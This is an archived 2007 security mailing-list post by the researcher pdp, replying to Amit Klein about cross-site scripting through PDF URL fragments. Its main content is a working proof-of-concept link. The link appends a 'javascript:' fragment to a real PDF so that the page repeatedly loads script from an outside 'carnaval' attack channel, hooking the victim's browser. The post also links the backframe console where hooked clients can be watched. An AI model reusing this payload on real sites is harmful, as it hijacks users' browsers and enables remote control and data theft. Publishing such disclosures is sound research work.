The following POC dynamically backdoors a given PDF document with an
attack channel:
http://www.google.com/librariancenter/downloads/Tips_Tricks_85x11.pdf#something=javascript:setInterval(function
() {var s = document.createElement('script');s.src =
'http://www.gnucitizen.org/carnaval/channel';s.defer = true;s.type =
'text/javascript';document.body.appendChild(s);}, 2000);void(0);
For the purpose of this POC I use carnaval. All hoocked clients can be
previewed by using carnaval's backframe profile:
http://www.gnucitizen.org/carnaval
click on backframe, or directly access the following URL:
http://www.gnucitizen.org/backframe/application.htm?Y2hhbm5lbCgnY2FybmF2YWwnLCAnaHR0cDovL3d3dy5nbnVjaXRpemVuLm9yZy9jYXJuYXZhbC9jaGFubmVsJyk7CnBvcHVsYXRlX2NoYW5uZWxzKCk7
On 1/3/07, Amit Klein <aksecurity@xxxxxxxxx> wrote:
pdp (architect) wrote: > Amit, this is very interesting solution and it will probably work in > most cases. However, if the attacker is able to upload PDF documents, > he/she can craft one that will produce the desired result as soon as > it gets opend by the user. This can be achieved by setting the PDF > file to redirect. I agree. I was thinking about a solution to the fragment problem, which is the topic of the thread (and a much more widespread situation than PDF upload). -Amit
-- pdp (architect) | petko d. petkov http://www.gnucitizen.org